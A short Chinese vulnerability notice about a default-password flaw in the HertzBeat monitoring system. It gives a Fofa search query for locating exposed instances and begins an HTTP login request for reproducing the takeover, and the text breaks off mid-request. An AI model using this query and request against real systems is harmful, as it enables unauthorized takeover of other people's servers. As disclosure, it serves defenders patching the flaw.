江苏网站设计4414站长平台

0x01 产品描述：

        HertzBeat(赫兹跳动) 是一个开源实时监控系统，无需Agent，性能集群，兼容Prometheus，自定义监控和状态页构建能力。HertzBeat 的强大自定义，多类型支持，高性能，易扩展，希望能帮助用户快速构建自有监控系统。
0x02 漏洞描述：

        HertzBeat(赫兹跳动) 开源实时监控系统存在默认口令漏洞。导致攻击者可利用默认用户名密码进行登录从而实现系统接管
0x03 搜索语句：

Fofa：app="HertzBeat-实时监控系统"

0x04 漏洞复现：

POST /api/account/auth/form HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1.1.1037140940.1733472935; _ga_13PPZZ